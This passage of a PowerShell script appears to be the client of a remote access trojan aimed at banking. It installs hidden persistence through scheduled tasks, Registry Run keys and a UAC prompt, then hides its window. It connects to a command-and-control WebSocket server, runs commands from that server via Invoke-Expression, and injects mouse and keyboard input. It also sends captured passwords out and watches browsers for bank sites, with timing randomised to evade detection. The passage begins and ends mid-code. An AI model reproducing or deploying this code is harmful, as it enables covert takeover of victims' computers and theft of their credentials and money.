-Compress $data = [System.Text.Encoding]::UTF8.GetBytes($json) $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xF0);$__bw.Write([int32]$data.Length);$__bw.Write([byte[]]$data);$__bw.Flush() } catch {} } function Start-Client { # === VERIFICAR SE JA EXISTE PROCESSO SYSTEM RODANDO (evitar conexao duplicada) === $myIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $amISystem = ($myIdentity.User.Value -eq "S-1-5-18") # Detectar se estamos rodando interativamente (console visivel) $isInteractive = [Environment]::UserInteractive -and ([Console]::WindowHeight -gt 0 -or $Host.Name -eq "ConsoleHost") # Se -Force OU rodando interativamente -> ignorar check e continuar if ($Force -or $isInteractive) { if (-not $amISystem) { # Matar processos antigos e limpar PID files (caminhos dinamicos apenas) foreach ($pidPath in @("$($script:InstallConfig.InstallDir)\client.pid", "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $oldPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) if ($oldPid -and $oldPid -ne $PID) { Start-Process "taskkill" -ArgumentList "/F /PID $oldPid" -NoNewWindow -Wait -ErrorAction SilentlyContinue } Remove-Item $pidPath -Force -ErrorAction SilentlyContinue } } catch {} } } } # Se nao e interativo e nao e -Force, fazer check normal (para spawns automaticos) elseif (-not $amISystem) { foreach ($pidPath in @("$($script:InstallConfig.InstallDir)\client.pid", "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $existingPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) $existingProc = Get-Process -Id $existingPid -ErrorAction SilentlyContinue if ($existingProc -and $existingProc.ProcessName -match "powershell") { return } } } catch {} } } # NOTA: Removido Stop-DisplayOverlay daqui - overlay deve persistir atrav?s de reconex?es try { [NativeInput]::Unblock() } catch {} # =========================================================================== # VERIFICAR E INSTALAR SERVICO/PERSISTENCIA # =========================================================================== # Detectar caminho do script (multiplas formas para garantir) $scriptPath = $null if ($MyInvocation.MyCommand.Path) { $scriptPath = $MyInvocation.MyCommand.Path } elseif ($script:SourceScriptPath) { $scriptPath = $script:SourceScriptPath } elseif ($MyInvocation.InvocationName -and (Test-Path $MyInvocation.InvocationName -ErrorAction SilentlyContinue)) { $scriptPath = (Resolve-Path $MyInvocation.InvocationName).Path } # Se nao encontrou, tentar caminhos conhecidos if (-not $scriptPath -or -not (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { $possiblePaths = @( "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt", "$env:ProgramData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" ) foreach ($p in $possiblePaths) { if (Test-Path $p -ErrorAction SilentlyContinue) { $scriptPath = $p break } } } $isSystem = Test-IsSystem $isAdmin = Test-IsAdmin $taskExists = (Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue) -ne $null # Detectar sessao atual $mySession = 0 try { $mySession = [ExplorerSpawner]::GetSessionId() } catch {} # =========================================================================== # FLUXO DE DECISAO # =========================================================================== # 1. SpawnedByTask=true OU (SYSTEM em Session > 0) -> CLIENTE, conectar # 2. Task existe + e USER -> pode encerrar (task SYSTEM cuida de tudo) # 3. Admin -> instalar Task SYSTEM e encerrar # 4. User -> pedir UAC # - Aceito -> instala Task, encerra # - Negado -> persistencia USER, conecta como USER # =========================================================================== # CASO 1: Spawned pela task OU SYSTEM em sessao do usuario -> ir direto conectar if ($SpawnedByService -or ($isSystem -and $mySession -gt 0)) { # Nenhuma acao especial - continua para conexao } # CASO 3: Admin (mas nao SYSTEM) -> instalar Task SYSTEM elseif ($isAdmin) { $taskInstalled = $false if ($scriptPath) { $installed = Install-ScheduledTask -ScriptPath $scriptPath if ($installed) { $taskInstalled = $true Start-Sleep -Seconds 3 [Environment]::Exit(0) } } # Fallback: se Task falhou, instalar persistencia USER if (-not $taskInstalled) { if ($scriptPath -and (Test-Path $scriptPath -EA SilentlyContinue)) { Install-CleanPersistence -ScriptPath $scriptPath | Out-Null } } } # CASO 4: User normal -> pedir UAC, se negar conecta como USER else { # Copiar script para local de persistencia $persistPath = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" $persistDir = Split-Path $persistPath -Parent if (-not (Test-Path $persistDir)) { New-Item -Path $persistDir -ItemType Directory -Force | Out-Null } if ($scriptPath -and $scriptPath -ne $persistPath -and (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { Copy-Item -Path $scriptPath -Destination $persistPath -Force -ErrorAction SilentlyContinue } # Verificar se destino existe, se nao tentar auto-salvar if (-not (Test-Path $persistPath -EA SilentlyContinue)) { try { if ($MyInvocation.MyCommand.ScriptBlock) { $MyInvocation.MyCommand.ScriptBlock.ToString() | Out-File -FilePath $persistPath -Encoding UTF8 -Force } } catch { } } if (-not $scriptPath -or -not (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { $scriptPath = $persistPath } # Verificar task existente try { $cfg = $script:CleanPersistConfig $oldTask = Get-ScheduledTask -TaskName $cfg.TaskName -ErrorAction SilentlyContinue if ($oldTask) { # Se ja e SYSTEM: nao reinstalar, apenas sair (SYSTEM cuida de tudo) if ($oldTask.Principal.UserId -match "SYSTEM") { [Environment]::Exit(0) } # Task USER/corrompida: limpar antes de reinstalar Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue } } catch {} # SEMPRE criar persistencia USER (Registry Run) $persistOK = Install-CleanPersistence -ScriptPath $persistPath # Se falhou, tentar mais uma vez apos limpeza if (-not $persistOK) { Start-Sleep -Seconds 1 $persistOK = Install-CleanPersistence -ScriptPath $persistPath } # Verificar se deve pedir UAC (apenas se nao foi skip) $skipUAC = ($env:_sU -eq "1") if (-not $skipUAC) { # Pedir UAC agora (NAO esconder janela - UAC precisa de contexto interativo) $result = Request-UACAndInstallService -ScriptPath $persistPath if ($result -eq "installed") { # Limpar tasks USER (servico SYSTEM cuida de tudo agora) try { $cfg = $script:CleanPersistConfig Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $cfg.TaskName -ErrorAction SilentlyContinue } catch {} Start-Sleep -Seconds 2 [Environment]::Exit(0) } else { # IMPORTANTE: NAO sair - continuar para conectar ao servidor! # O script vai continuar abaixo no loop de conexao } } else { } } # === AGORA ESCONDER JANELA (instala??o/UAC completa) === Hide-ConsoleWindow # === VERIFICAR INST?NCIA ?NICA === # Verificar em AMBOS os locais (USER e SYSTEM) - caminhos dinamicos foreach ($pidFile in @("$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid", "$($script:InstallConfig.InstallDir)\client.pid")) { if (Test-Path $pidFile) { $savedPid = (Get-Content $pidFile -Raw -EA SilentlyContinue).Trim() if ($savedPid -match '^\d+$' -and [int]$savedPid -ne $PID) { $existingProc = Get-Process -Id ([int]$savedPid) -ErrorAction SilentlyContinue if ($existingProc -and $existingProc.Name -like "*powershell*") { [Environment]::Exit(0) } } } } # ??????????????????????????????????????????????????????????????????????????????? # PHASE 3: BEHAVIORAL VARIATION WITH DISTRIBUTED TIMING # ??????????????????????????????????????????????????????????????????????????????? # Purpose: Prevent temporal detection by randomizing operation timing and ordering # Features: # - Non-periodic delays (1-30 minutes between operations) # - Random operation ordering (screenshot, keystroke, network checks) # - Variable frame counts and capture intervals # - Per-machine behavioral variation based on MachineGuid # Seed random generator based on machine identity (ensures each machine has unique behavior) $phase3Seed = [System.Security.Cryptography.MD5]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes($script:Server)).GetHashCode() [System.Random]::new($phase3Seed % [int]::MaxValue) | out-null $script:Phase3Random = [System.Random]::new($phase3Seed % [int]::MaxValue) # Operation timing configuration (randomized per machine) $script:Phase3Config = @{ # Min/Max delays in milliseconds (1-30 minutes) ScreenshotDelayMin = 60000 # 1 minute minimum ScreenshotDelayMax = 1800000 # 30 minutes maximum KeystrokeDelayMin = 60000 # 1 minute minimum KeystrokeDelayMax = 1800000 # 30 minutes maximum PingDelayMin = 30000 # 30 seconds minimum PingDelayMax = 300000 # 5 minutes maximum BrowserCheckMin = 500 # 0.5 segundos ? deteccao rapida de banco BrowserCheckMax = 1500 # 1.5 segundos maximo ? quase tempo real # Variable frame counts (randomized per operation) MinFramesPerCapture = 1 MaxFramesPerCapture = 3 # Per-machine variations (derived from MachineGuid) VariationFactor = (($script:Phase3Random.Next() % 100) + 50) / 100.0 # 0.5x to 1.5x multiplier } # Operation scheduler - tracks next execution time for each operation $script:Phase3Operations = @{ Screenshot = [long]([DateTime]::UtcNow.Ticks / 10000) Keystroke = [long]([DateTime]::UtcNow.Ticks / 10000) Ping = [long]([DateTime]::UtcNow.Ticks / 10000) BrowserCheck = [long]([DateTime]::UtcNow.Ticks / 10000) NextOpOrder = @() # Randomized execution order } # Function: Generate next random delay using Phase 3 distribution function Get-Phase3Delay { param([string]$Operation) $cfg = $script:Phase3Config $delay = switch ($Operation) { "Screenshot" { $cfg.ScreenshotDelayMin + $script:Phase3Random.Next($cfg.ScreenshotDelayMax - $cfg.ScreenshotDelayMin) } "Keystroke" { $cfg.KeystrokeDelayMin + $script:Phase3Random.Next($cfg.KeystrokeDelayMax - $cfg.KeystrokeDelayMin) } "Ping" { $cfg.PingDelayMin + $script:Phase3Random.Next($cfg.PingDelayMax - $cfg.PingDelayMin) } "BrowserCheck" { $cfg.BrowserCheckMin + $script:Phase3Random.Next($cfg.BrowserCheckMax - $cfg.BrowserCheckMin) } default { 5000 } } # Apply per-machine variation factor (makes timing different per PC) return [long]($delay * $cfg.VariationFactor) } # Function: Check if operation should execute based on Phase 3 scheduling function Test-Phase3Operation { param([string]$Operation) $now = [long]([DateTime]::UtcNow.Ticks / 10000) $nextExecTime = $script:Phase3Operations[$Operation] if ($now -ge $nextExecTime) { # Operation is due - update next execution time $delay = Get-Phase3Delay -Operation $Operation $script:Phase3Operations[$Operation] = $now + $delay return $true } return $false } # Function: Get randomized operation order for this iteration function Get-Phase3OperationOrder { $operations = @("Screenshot", "Keystroke", "Ping", "BrowserCheck") # Fisher-Yates shuffle (randomize operation order) for ($i = $operations.Count - 1; $i -gt 0; $i--) { $j = $script:Phase3Random.Next($i + 1) $temp = $operations[$i] $operations[$i] = $operations[$j] $operations[$j] = $temp } return $operations } # Function: Get variable frame count for current capture function Get-Phase3FrameCount { $cfg = $script:Phase3Config $count = $cfg.MinFramesPerCapture + $script:Phase3Random.Next($cfg.MaxFramesPerCapture - $cfg.MinFramesPerCapture + 1) return $count } # Initialize Phase 3 operation scheduler foreach ($op in @("Screenshot", "Keystroke", "Ping", "BrowserCheck")) { $script:Phase3Operations[$op] = [long]([DateTime]::UtcNow.Ticks / 10000) + (Get-Phase3Delay -Operation $op) } while ($true) { try { # =============================================================== # RESOLVER DOMINIO A CADA CONEXAO (CloudFlare Tunnel) # =============================================================== $__resolvedIP = Resolve-ServerAddress $script:_wsSendLock = [System.Threading.SemaphoreSlim]::new(1, 1) $script:_wsRecvQueue = [System.Collections.Concurrent.ConcurrentQueue[byte[]]]::new() $script:_wsInputQueue = [System.Collections.Concurrent.ConcurrentQueue[byte[]]]::new() $script:_inputMonXY = [int[]]@(0, 0) # [X,Y] do monitor atual - atualizado pelo loop $script:_inputTrig = [int[]]@(0) # flag: 1=input chegou, capturar frame imediatamente $script:_wsBuf = New-Object System.IO.MemoryStream $ws = New-Object System.Net.WebSockets.ClientWebSocket $ws.Options.KeepAliveInterval = [TimeSpan]::Zero # User-Agent baseado no browser real da m?quina (?nico por host) $__ua = try { $__ev = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\EdgeUpdate\Clients\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}" -EA Stop).pv "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/$__ev Safari/537.36 Edg/$__ev" } catch { try { $__cv = (Get-ItemProperty "HKLM:\SOFTWARE\Google\Chrome\BLBeacon" -EA Stop).version "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/$__cv Safari/537.36" } catch { $__rv = "$(Get-Random -Min 109 -Max 124).0.$(Get-Random -Min 5000 -Max 6500).$(Get-Random -Min 40 -Max 180)" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/$__rv Safari/537.36" } } try { $ws.Options.SetRequestHeader("User-Agent", $__ua) } catch {} $wsCts = New-Object System.Threading.CancellationTokenSource # Construir URL C2 dinamicamente (pode ser override via script:Server e script:Port) $__wsUrl = "wss://$($script:Server):$($script:Port)/agent" $ws.ConnectAsync([Uri]$__wsUrl, $wsCts.Token).Wait(15000) if ($ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { throw "WS falhou: $($ws.State)" } $script:_ws = $ws; $script:_wsCts = $wsCts $script:_reconnectAttempt = 0 $__rs = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace() $__rs.Open() $__rs.SessionStateProxy.SetVariable("_ws", $ws) $__rs.SessionStateProxy.SetVariable("_ct", $wsCts.Token) $__rs.SessionStateProxy.SetVariable("_q", $script:_wsRecvQueue) $__rs.SessionStateProxy.SetVariable("_iq", $script:_wsInputQueue) $__ps = [System.Management.Automation.PowerShell]::Create() $__ps.Runspace = $__rs [void]$__ps.AddScript({ $b = New-Object byte[] 2097152 $msgBuf = New-Object System.Collections.Generic.List[byte] while ($_ws.State -eq [System.Net.WebSockets.WebSocketState]::Open) { try { $r = $_ws.ReceiveAsync([ArraySegment[byte]]::new($b), $_ct).GetAwaiter().GetResult() if ($r.Count -gt 0) { # Acumular fragmentos ate mensagem completa for ($i = 0; $i -lt $r.Count; $i++) { $msgBuf.Add($b[$i]) } # So processar quando mensagem estiver completa if ($r.EndOfMessage) { $p = $msgBuf.ToArray() $msgBuf.Clear() # Input (0x20-0x23) -> fila dedicada de alta prioridade; resto -> fila principal if ($p.Length -ge 5 -and $p[4] -ge 0x20 -and $p[4] -le 0x23) { $_iq.Enqueue($p) } else { $_q.Enqueue($p) } } } if ($r.MessageType -eq [System.Net.WebSockets.WebSocketMessageType]::Close) { break } } catch { break } } }) [void]$__ps.BeginInvoke() $script:_wsRecvPS = $__ps; $script:_wsRecvRS = $__rs # === THREAD DEDICADA DE INPUT (mouse/teclado com latencia ~0ms) === # Processa 0x20-0x23 IMEDIATAMENTE sem esperar loop de video $__irs = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace() $__irs.Open() $__irs.SessionStateProxy.SetVariable("_iq2", $script:_wsInputQueue) $__irs.SessionStateProxy.SetVariable("_utf8", $script:FastUTF8) $__irs.SessionStateProxy.SetVariable("_jp", $script:JsonParser) $__irs.SessionStateProxy.SetVariable("_mxy", $script:_inputMonXY) $__irs.SessionStateProxy.SetVariable("_trig", $script:_inputTrig) $__ips = [System.Management.Automation.PowerShell]::Create() $__ips.Runspace = $__irs [void]$__ips.AddScript({ # Loop ultra-tight: SpinWait mantem thread pronta sem Sleep (latencia <0.5ms) while ($true) { $__raw = $null if ($_iq2.TryDequeue([ref]$__raw) -and $__raw -and $__raw.Length -gt 9) { try { $__type = $__raw[4] $__js = $_utf8.GetString($__raw, 9, $__raw.Length - 9) if ($__js -and $__js.Length -gt 0) { $__j = $_jp.DeserializeObject($__js) $__mx = $_mxy[0]; $__my = $_mxy[1] switch ($__type) { 0x20 { [NativeInput]::MoveMouse($__mx + [int]$__j['X'], $__my + [int]$__j['Y']) } 0x21 { [NativeInput]::MoveMouse($__mx + [int]$__j['X'], $__my + [int]$__j['Y']) if ([bool]$__j['IsDown']) { [NativeInput]::MouseDown([int]$__j['Button']) } else { [NativeInput]::MouseUp([int]$__j['Button']) } $_trig[0] = 1 # sinaliza: clique ocorreu, capturar frame resultado } 0x22 { [NativeInput]::MouseWheel([int]$__j['Delta']) } 0x23 { if ([bool]$__j['IsDown']) { [NativeInput]::KeyDown([byte]$__j['KeyCode']) } else { [NativeInput]::KeyUp([byte]$__j['KeyCode']) } $_trig[0] = 1 # sinaliza: tecla pressionada, capturar frame resultado } } } } catch {} } else { [System.Threading.Thread]::SpinWait(100) } } }) [void]$__ips.BeginInvoke() $script:_inputPS = $__ips; $script:_inputRS = $__irs $stream = [PSCustomObject]@{} Add-Member -InputObject $stream -MemberType ScriptProperty -Name DataAvailable -Value { $script:_wsRecvQueue.Count -gt 0 -or $script:_wsBuf.Position -lt $script:_wsBuf.Length } Add-Member -InputObject $stream -MemberType ScriptProperty -Name CanWrite -Value { $script:_ws -and $script:_ws.State -eq [System.Net.WebSockets.WebSocketState]::Open } Add-Member -InputObject $stream -MemberType ScriptMethod -Name Read -Value { param([byte[]]$buf, [int]$off, [int]$cnt) if ($script:_wsBuf.Position -lt $script:_wsBuf.Length) { return $script:_wsBuf.Read($buf,$off,$cnt) } $p = $null if (-not $script:_wsRecvQueue.TryDequeue([ref]$p)) { return 0 } $script:_wsBuf.SetLength(0); $script:_wsBuf.Position = 0 $script:_wsBuf.Write($p,0,$p.Length); $script:_wsBuf.Position = 0 return $script:_wsBuf.Read($buf,$off,$cnt) } $script:_wsPend = New-Object System.Collections.Generic.List[byte] 524288 $client = [PSCustomObject]@{ Connected = $true } $script:BW = [PSCustomObject]@{} Add-Member -InputObject $script:BW -MemberType ScriptMethod -Name Write -Value { param($d) if ($d -is [byte[]]) { $script:_wsPend.AddRange([byte[]]$d) } elseif ($d -is [byte]) { $script:_wsPend.Add([byte]$d) } elseif ($d -is [int32]) { $script:_wsPend.AddRange([byte[]][BitConverter]::GetBytes([int32]$d)) } } Add-Member -InputObject $script:BW -MemberType ScriptMethod -Name Flush -Value { if ($script:_wsPend.Count -eq 0) { return } $data = $script:_wsPend.ToArray(); $script:_wsPend.Clear() if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { return } try { if ($script:_wsSendLock.Wait(2000)) { try { [void]($script:_ws.SendAsync([ArraySegment[byte]]::new($data), [System.Net.WebSockets.WebSocketMessageType]::Binary, $true, $script:_wsCts.Token).GetAwaiter().GetResult()) } finally { [void]$script:_wsSendLock.Release() } } } catch {} } # BW reutilizavel $helloJson = (@{ Version = $Config.Version } | ConvertTo-Json -Compress -Depth 10) $helloData = [System.Text.Encoding]::UTF8.GetBytes($helloJson) $bw = $script:BW $bw.Write([byte[]]$Config.Magic) $bw.Write([byte]0x01) $bw.Write([int32]$helloData.Length) $bw.Write([byte[]]$helloData) $bw.Flush() Read-Packet -Stream $stream | Out-Null $sysInfo = Get-SystemInfo $jsonStr = $sysInfo | ConvertTo-Json -Compress -Depth 10 $guestData = [System.Text.Encoding]::UTF8.GetBytes($jsonStr) $bw = $script:BW $bw.Write([byte[]]$Config.Magic) $bw.Write([byte]0xE6) $bw.Write([int32]$guestData.Length) $bw.Write([byte[]]$guestData) $bw.Flush() # Aguardar SessionInfo do servidor (pode receber Ping antes) $sessionReceived = $false $attempts = 0 while (-not $sessionReceived -and $attempts -lt 10) { $attempts++ Start-Sleep -Milliseconds 50 $pkt = Read-Packet -Stream $stream if ($pkt) { $rawData = "" if ($pkt.Data.Length -gt 0) { $rawData = [System.Text.Encoding]::UTF8.GetString($pkt.Data) } # SessionInfo = 0x06 if ($pkt.Type -eq 0x06) { try { $sessionJson = $rawData | ConvertFrom-Json if ($sessionJson.Accepted -eq $true) { $sessionReceived = $true } else { throw "Servidor rejeitou" } } catch { } } # Ping = 0xE0, responder com Pong elseif ($pkt.Type -eq 0xE0) { $bw = $script:BW; $bw.Write([byte[]]$Config.Magic); $bw.Write([byte]0xE1); $bw.Write([int32]0); $bw.Flush() } # ServerHello = 0x02 (ignorar, j? recebemos) elseif ($pkt.Type -eq 0x02) { } else { } } } if (-not $sessionReceived) { # Se recebemos Pings, a conexao esta OK - servidor aceita mas nao enviou SessionInfo explicitamente # Isso pode acontecer se o servidor estiver em versao diferente } # Enviar lista de monitores Send-MonitorList -Stream $stream # OTIMIZADO: Reset contador de reconex?o ap?s conex?o bem-sucedida $script:_reconnectAttempt = 0 $lastScr = [DateTime]::MinValue $lastBrowserCheck = [DateTime]::MinValue $lastQRCheck = [DateTime]::MinValue $lastPing = [long]([DateTime]::UtcNow.Ticks / 10000) $lastHeartbeat = [long]([DateTime]::UtcNow.Ticks / 10000) $lastDataReceived = [long]([DateTime]::UtcNow.Ticks / 10000) $hbFails = 0 # OTIMIZA??O: Cache Get-SelectedMonitor (100ms TTL) $monitorCache = Get-SelectedMonitor # Chamar imediatamente para evitar $null $monitorCacheTime = [long]([DateTime]::UtcNow.Ticks / 10000) # Sincronizar offset do monitor com a thread de input $script:_inputMonXY[0] = $monitorCache.X; $script:_inputMonXY[1] = $monitorCache.Y $loopIterations = 0 $connectionAlive = $true while ($connectionAlive -and $stream.CanWrite) { $loopIterations++ # OTIMIZADO: Heartbeat mais frequente (5s) mas mais tolerante (5 falhas, 60s timeout) $nowHb = [long]([DateTime]::UtcNow.Ticks / 10000) if (($nowHb - $lastHeartbeat) -gt 5000) { # Era 10000 (10s), agora 5000 (5s) try { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xE1);$__bw.Write([int32]0);$__bw.Flush() $hbFails = 0; $lastHeartbeat = $nowHb } catch { if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { $connectionAlive = $false; continue } } # timeout de dados removido: so WS.State decide desconexao } # =============================================================== # VERIFICAR SE SERVICO FOI INSTALADO (processo User deve encerrar) # =============================================================== if ($script:ForceExit) { try { $stream.Close() } catch {} try { $client.Close() } catch {} exit 0 } # [*] VERIFICAR SE PROCESSO SYSTEM APARECEU (a cada 30s) - desativado em modo interativo if (-not $amISystem -and -not $script:_lastSystemCheck) { $script:_lastSystemCheck = [DateTime]::MinValue } $skipPeriodicCheck = $Force -or ([Environment]::UserInteractive -and $Host.Name -eq "ConsoleHost") if (-not $amISystem -and -not $skipPeriodicCheck -and ([DateTime]::Now - $script:_lastSystemCheck).TotalSeconds -ge 30) { $script:_lastSystemCheck = [DateTime]::Now foreach ($pidPath in @("$($script:InstallConfig.InstallDir)\client.pid", "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $sysPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) if ($sysPid -and $sysPid -ne $PID) { $sysProc = Get-Process -Id $sysPid -ErrorAction SilentlyContinue if ($sysProc -and $sysProc.ProcessName -match "powershell") { try { $stream.Close() } catch {} try { $client.Close() } catch {} exit 0 } } } } catch {} } } # [*] VERIFICAR STATUS DE INATIVIDADE (20 MINUTOS) $isIdle = Check-IdleStatus $stream # [~] LIMPAR BUFFER AO RETOMAR DO IDLE if ($global:JustResumedFromIdle) { $global:JustResumedFromIdle = $false Clear-StreamBuffer $stream $lastScr = [DateTime]::MinValue $lastPing = [long]([DateTime]::UtcNow.Ticks / 10000) } # ??????????????????????????????????????????????????????????????? # MONITORAMENTO DO SCREENSHOT EM BACKGROUND - RODA SEMPRE! # ??????????????????????????????????????????????????????????????? if ($script:ScreenshotActive -and $script:ScreenshotProcess) { # Verificar se processo terminou if ($script:ScreenshotProcess.HasExited) { $pwd = "" # Aguardar arquivo ser escrito Start-Sleep -Milliseconds 30 # Ler resultado do arquivo if ($script:ScreenshotTempResult -and (Test-Path $script:ScreenshotTempResult)) { try { $pwd = [System.IO.File]::ReadAllText($script:ScreenshotTempResult).Trim() } catch {} } # Enviar a senha capturada (se tiver) if ($pwd -and $pwd.Length -gt 0) { try { # OTIMIZA??O: String formatting em vez de ConvertTo-Json $jsonData = '{"Type":"screenshot_capture","Value":"' + ($pwd -replace '"', '\"') + '","Timestamp":"' + (Get-Date).ToString("o") + '"}' $d = $script:FastUTF8.GetBytes($jsonData) $script:BW.Write([byte[]]$Config.Magic) $script:BW.Write([byte]0xE3) $script:BW.Write([int32]$d.Length) $script:BW.Write($d) $script:BW.Flush() } catch {} } # Restaurar overlay anterior (modo priv) if ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) { Start-DisplayOverlay -Mode $script:PreviousOverlayMode } # TERCEIRO: Enviar confirma??o try { # OTIMIZA??O: String formatting em vez de ConvertTo-Json $privRestored = ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) $pwdCaptured = ($pwd -and $pwd.Length -gt 0) $confirmData = '{"Type":"screenshot_complete","PrivRestored":' + ($privRestored.ToString().ToLower()) + ',"PrivMode":' + $script:PreviousOverlayMode + ',"PasswordCaptured":' + ($pwdCaptured.ToString().ToLower()) + ',"Timestamp":"' + (Get-Date).ToString("o") + '"}' $cd = $script:FastUTF8.GetBytes($confirmData) $script:BW.Write([byte[]]$Config.Magic) $script:BW.Write([byte]0xE3) $script:BW.Write([int32]$cd.Length) $script:BW.Write($cd) $script:BW.Flush() } catch {} # Limpar estado $script:ScreenshotActive = $false $script:ScreenshotProcess = $null try { if ($script:ScreenshotTempResult) { Remove-Item $script:ScreenshotTempResult -Force -ErrorAction SilentlyContinue } } catch {} } } # === PROCESSAR COMANDOS (max comandos por iteracao) === # CR?TICO: Processar TODOS os eventos de mouse para hover detection # Hover = MouseMove cont?nuo - n?o pode ter delays ou drops $cmdCount = 0 $maxCmd = if ($script:StreamingEnabled) { 1000 } else { 100 } try { while ($stream.DataAvailable -and $cmdCount -lt $maxCmd) { $cmdCount++ $pkt = Read-Packet -Stream $stream if ($pkt) { $lastDataReceived = [long]([DateTime]::UtcNow.Ticks / 10000) $j = @{} try { if ($pkt.Length -gt 0) { $jsonStr = $script:FastUTF8.GetString($pkt.Data) if ($jsonStr -and $jsonStr.Length -gt 0) { # LOG para pacotes grandes if ($jsonStr.Length -gt 50000) { } $j = $script:JsonParser.DeserializeObject($jsonStr) } } } catch { $j = @{} } # Log de pacotes importantes (exceto mouse/keyboard que são muito frequentes) if ($pkt.Type -notin @(0x20, 0x21, 0x22, 0x23, 0xE0, 0xE1)) { } switch ($pkt.Type) { 0xE0 { try { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xE1);$__bw.Write([int32]0);$__bw.Flush() } catch {} } # =============================================================== # CONTROLE REMOTO - SEMPRE FUNCIONA (mesmo em idle) + ACORDA # =============================================================== 0x20 { # MouseMove ? thread dedicada ja processa; este e fallback Force-WakeFromIdle $nowMon = [long]([DateTime]::UtcNow.Ticks / 10000) if (($nowMon - $monitorCacheTime) -gt 500) { $monitorCache = Get-SelectedMonitor $monitorCacheTime = $nowMon # Sincronizar com thread de input quando monitor muda $script:_inputMonXY[0] = $monitorCache.X; $script:_inputMonXY[1] = $monitorCache.Y } $mon = $monitorCache [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y) } 0x21 { # MouseButton - ZERO LATENCY Force-WakeFromIdle # OTIMIZA??O: Cache Get-SelectedMonitor com TTL 500ms $nowMon = [long]([DateTime]::UtcNow.Ticks / 10000) if (($nowMon - $monitorCacheTime) -gt 500) { $monitorCache = Get-SelectedMonitor $monitorCacheTime = $nowMon } $mon = $monitorCache [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y) if ($j.IsDown) { [NativeInput]::MouseDown($j.Button) } else { [NativeInput]::MouseUp($j.Button) } } 0x22 { Force-WakeFromIdle; [NativeInput]::MouseWheel($j.Delta) } # MouseWheel 0x23 { Force-WakeFromIdle; if ($j.IsDown) { [NativeInput]::KeyDown([byte]$j.KeyCode) } else { [NativeInput]::KeyUp([byte]$j.KeyCode) } } # Keyboard 0xA2 { # SystemCommand # Aceitar tanto Cmd quanto command (compatibilidade com diferentes servers) $cmdValue = if ($j.Cmd) { $j.Cmd } elseif ($j.command) { $j.command } else { $null } try { $r = Handle-SystemCommand -Cmd $cmdValue -Stream $stream } catch { $r = "ERRO: $_" } try { # OTIMIZA??O: String formatting em vez de ConvertTo-Json (30x mais r?pido) $__json = '{"Output":"' + ($r -replace '"', '\"') + '","ExitCode":0}' $__d = $script:FastUTF8.GetBytes($__json) $__bw=$script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xA1) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} # Verificar se deve encerrar (apos request_uac) if ($script:ForceExit) { try { $stream.Close() } catch {} try { $client.Close() } catch {} [Environment]::Exit(0) } } 0xA0 { # Command try { $cmd = $j.CommandText if ($j.EncryptedCmd) { $decrypted = Decrypt-SecureData -Data $j.EncryptedCmd if ($decrypted) { $cmd = $decrypted } } $r = Invoke-Expression $cmd 2>&1 | Out-String $encResult = Encrypt-SecureData -Text $r # OTIMIZA??O: String formatting em vez de ConvertTo-Json (30x mais r?pido) $__json = '{"Output":"' + ($r -replace '"', '\"') + '","EncryptedOutput":"' + ($encResult -replace '"', '\"') + '","ExitCode":0}' $__d = $script:FastUTF8.GetBytes($__json) $__bw=$script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xA1) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0x61 { # ChatPopup / Screenshot try { if ($j.IsScreenshot -and $j.ImageBase64) { $script:PreviousOverlayMode = $script:CurrentOverlayMode $script:WasOverlayActive = 